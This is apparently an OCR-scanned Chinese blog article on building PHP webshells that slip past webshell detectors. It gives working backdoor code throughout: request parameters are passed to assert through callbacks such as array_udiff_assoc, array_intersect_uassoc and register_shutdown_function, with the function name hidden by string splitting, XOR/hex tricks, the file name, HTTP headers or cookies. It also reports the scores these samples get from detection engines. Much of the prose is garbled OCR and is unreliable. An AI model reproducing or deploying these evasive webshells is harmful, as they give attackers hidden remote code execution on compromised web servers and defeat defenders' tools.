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<?php

$password = "LandGrey";

$ch = explode(".","hello.ass.world.er.t");
register_shutdown_function($ch[1].$ch[3].$ch[4], $ REQUEST[$password]);
?>

uvi b W N R

@ ek, ZMINLZLNEE

B2fEstt: 14~ A 00:00:01

A () PR EZB-NEEE RIS
~ Fi/P/phpStudy/WWW/temp/a.php register_shutdo...

4 FEED ERIRE

AL, BEmE#EN, 5— N EEREE, NENS RETRTRFRENNERERS, #HasEER
&, MBERAER C2ialHE,

Z2idWeEE, RIMME L5054 BRI BIFEIREEREFNES, BaboREHAT LA
Sksid Webshel B 34k44,

0x03: ErIEIJRIEIREAEEL

EPHPERE AT, EHTLURMEREIJNPHPEBES, 1RETRAY, AR TEE R
1, SRS ERAEE TR RIPHPEER A

XKigiF—: callable


https://tva1.sinaimg.cn/large/007S8ZIlgy1ghetfq5utwj30lg060weo.jpg
http://php.net/manual/zh/

Description

array array_udiff assoc ( array $arrayl , array $array? [, array $... 1,|callable
$value_compare func )

Computes the difference of arrays with additional index check, compares data by a callback function.

%887 =: mixed $options

mixed filter var ( mixed $variable [, int $filter = FILTER _DEFAULT [,[mixed $options]]] )

Parameters

variable
Value to filter. Note that scalar values are converted to string internally before they are filtered.

filter
The ID of the filter to apply. The Types of filters manual page lists the available filters.

If omitted, FILTER_DEFAULT will be used, which is equivalent to FILTER_UNSAFE_RAW. This will result in no
filtering taking place by default.

options
Associative array of options or bitwise disjunction of flags. If filter accepts options, flags can be provided in

"flags" field of array. For the "callback” filter,|callable type|should be passed. The callback must accept one
argument, the value to be filtered, and return the value after filtering/sanitizing it.

*887=: handler

session_set_save |handler

{PHP &, PHP 5, PHP 7)
session_set_save_handler — Sets user-level session storage functions

Description

bool session_set save handler ( callable $open , callable $close , callable $read , callable
$write , callable $destroy , callable $gc [, callable $create_sid [, callable $validate_sid [,
callable jupdate timestamp 1]] )

*583M: callback
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mb_ereg_replace_callback

(PHP 5 >=5.41, PHP 7)
mb_ereg replace_callback — Perform a regular expresssion seach and replace with multibyte support using a
callback

Description

string mb_ereg_replace_callback ( string $pattern , callable|$ca11back|, string $string [,
string $option = "msr" ] )

X8R invoke

ReflectionFunction:linvoke

(PHP 5, PHP 7)
ReflectionFunction:invoke — Invokes function

Description

public mixed ReflectionFunction: :invoke ([ mixed $parameter [, mixed $... 1] )

Invokes a reflected function.

PRItLZSh, PHPY BHREALSENRIERE, NIATsEERMEARRE, RXAMHITIE.
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1 array array_udiff_assoc ( array $arrayl , array $array2 [, array $... ], callable

RIEENX, FLUMGENS:

1 array_udiff_assoc(array("phpinfo();"), array(1l), "assert");
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System Windows N8, 85 o0 on L R ol oy e R
Build Date Jul 20 2016 11:08:49

Compiler MSVC11 (Visual C++ 2012)

Architecture *86

Configure cscript /nologo configure,js "--enable-snapshot-build” "--disable-isapi” *--enable-
Command debug-pack” "--without-mssgl” "--without-pdo-mssgl” "--without-pidweb" "--with-

pdo-oci=C:\php-sdk\oracle\xBE\instantclient 104 sdk shared” " --with-oci8=C\php-
sdld\oracle\xB6\instantclient10ysdk shared” *--with-oci8-11g=C:\php-sdk\oracle
\xB6\instantclient11\sdk,shared" "--enable-object-out-dir=../cbj/" "--enable-com-
dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze" *--with-pgo”

Server API Apache 2.0 Handler
Virtual Directory | enabled
Support

JREHIEIE S = P imEEN—TEARD M ARarray_udiff_assoc.php:

1  <?php
2 /**
3 * Noticed: (PHP 5 >= 5.4.0, PHP 7)
4 k
5 */
6 $password = "LandGrey";
7 array_udiff_assoc(array($_REQUEST[$password]), array(l), "assert");
8 »
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http://127.0.0.1/shell/test/test.php?LandGrey=phpinfo();

Cknifei/MINB¥R http://127.0.0.1/shell/test/test.php Z5f3: LandGrey, BJB(INER.
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SHA1 a4744856fa18a0ef0285a46568d768aabo64a51
MD5  d974aacf0353c584b2cc 466862634842
Size 236 Byte
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BE—" array intersect_ukey” [IFERERIGFR~Flarray intersect ukey.php:

$ch = explode(".","hello.ass.world.er.t");
array_intersect_ukey(array($_REQUEST[$password] => 1), array(l), $ch[1].$ch[3].%c
?>

1 <?php

2 /**

3 * Noticed: (PHP 5 »>= 5.4.0, PHP 7)
4 *

5 */

6 $password = "LandGrey";

7

8

9
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array intersect uassoc-s.php:

<?php

$password = "LandGrey";

${"LandGrey"} = substr(__FILE_ ,-5,-4) . "class";

$f = $LandGrey ~ hex2bin("12101f040107");

array_intersect_uassoc (array($_REQUEST[$password] => ""), array(l), $f);
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?>

HARZRE" ***s.php” WBF, BIRE—FFER" s" , AEA" sclass”
hex2bin( “12101f040107" )AYERfIFEL, 52" assert” , NMAIFEIEREL, HITPHP{LRS,

FEZIWEBDIR+&EStfG, WAWERS, " MHTHBEATEEMADTA ", WS 7.
XMANE—MIRENER, MERANESERANEEEHNAZ &G —(IFF.
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1 <?php
2 $password = "LandGrey";
3  $key = substr(__FILE_ ,-5,-4);
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4  ${"LandGrey"} = $key."Land!";
5 $trick = array(
6 Ilell => II51II, II1II => "5@", ll2|l => Il53ll, Il3ll => Il52ll’ II4II => Il55ll) Il5ll => lI54II
7 "gn Zy "SgU. " =» "g@", "b" => "@3", "c" => "@2", "d" => "@5", "e" => "@4"
8 Ilill => "08", Iljll => llebll, llkll => Ileall, Illll => lledll’ llmll => Ilecll) Ilnll => lIe_FII
9 MRM ooy "13%, MM =» "12", "t" = "15", "y => "14", "v" => "17", "w" => "16"
16 IIAII => Ilzell, IIBII => ll23ll, IICII => ll22ll, IIDII => ll25ll, IIEII => Il24ll, IIFII => II27II
11 IR ooy "2, KM o=> "2a", "L" => "2d", "M" => "2¢", "N" => "2f", "0" => "2e"
12 IISII => II32II’ IITII => ll35ll, llull => ll34ll, llvll => ll37ll’ llwll => “36“, lell => II39II
13 )5
14  $f = pack("H*", $trick[$key]."3f120b1655") ~ $key."Land!";
15 array_intersect_uassoc (array($_REQUEST[$password] => ""), array(l), $f);
16 >

MU TER, SWER:
A4EMD5: 8520ffd3cc3384b9fefd8a65d183d637 HihTeRE, A 171
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E, ERR T HAVRIERIRIERX SN RIEAIEB o HEN:

<?php

$password = "LandGrey";

$key = substr(__FILE_ ,-5,-4);

${"LandGrey"} = $key."Land!";

$f = pack("H*", "13"."3f120b1655") ~ $LandGrey;

array_intersect_uassoc (array($_REQUEST[$password] => ""), array(l), $f);
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?>

2. FIBENESRIERERK

EERE: SHAEIEPIETH, NRERZFLIUIHAERRTHXRES, FamLEiER
Webshell; MX(ili&Esns, & EXRER, MALIESER—GEADE], NMRIER.

f5Ign, FFETFEAI—iEarray intersect uassoc-headers-accept-r.php, EXKHS, CknifeiEsis
K3k Accept: r, EEEEIN" LandGrey” , BIRJpINIERE—DIEARS:



https://tva1.sinaimg.cn/large/007S8ZIlgy1ghetgvrri0j30qk04tq35.jpg
https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/php/array_intersect_uassoc-filename-last-char-must-be-r.php
https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/php/array_intersect_uassoc-headers-accept-r.php

<?php

$password = "LandGrey";

$key = substr(__FILE_ ,-5,-4);

${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";

$f = pack("H*", "13"."3f120b1655") ~ $LandGrey;
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(l), $f);
?>
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Deep Learning model for PHP webshell detection

¥ BRI TAESIEA 429 Too Many Requests”, HiESIfE3QPSLEIRA

=?php

$password = "LandGrey";

$key = substr(__ FILE__ -5.-4);

${"LandGrey"} = §_SERVER['HTTP_ACCEPT"]."Landl",

$f = pack("H*", "13"."3f120b1655") * SLandGrey;
array_intersect_uassoc(array($_REQUEST[$password] == "), array(1). $1);
=

Result

(Lec B
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name=ass; , LATRfGIiIARarray intersect ukey-cookie-ass.phpRIBtHAEISTIZFEIER, X

SR
S
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<?php

/**

* Noticed: (PHP 5 >= 5.4.0, PHP 7)
*

*/

$password = "LandGrey";

$ch = $ COOKIE["set-domain-name"];
array_intersect_ukey(array($_REQUEST[$password] => 1), array(l), $ch."ert");
?>

URG:

TEMRKERE), XD 28F I ERE|EE http://ml.shellpub.com FHTEME, KISHAT.
K, RIETHNEEETEHMR:

1
2

<?php
array(1)
?>

FrLAE WordpressHOiERS LG, X TRSGHA B, 17741030, RIMT 14940 UE1]. &
FRONAER AR BAE AR, FRLAEN &Y 7 XNz E a9,
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Result for WordPress-master.zip
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MD5 afe6ara2d02afSe95ae728d5ceab918b
Size 13190989 Byte
o ER | 14941774 (B VLTI SED

EFRIE
pr{h=t el FE
/WordPress-master/index.php 0.9850074962518741
/WordPress-master/license.xt 0.9850074962518741
/WordPress-master/readme.htmi 0.9850074962518741
/MWordPress-master/wp-activate. php 0.9850074962518741
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http%3a//www.target.com/ass.php

$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);
forward_static_call_array($wx."ert", array($_REQUEST[$password]));

1 <?php

2 /x*

3 * Noticed: (PHP 5 >= 5.3.0, PHP 7)
4 *

5 */

6 $password = "LandGrey";

7

8

9

?>
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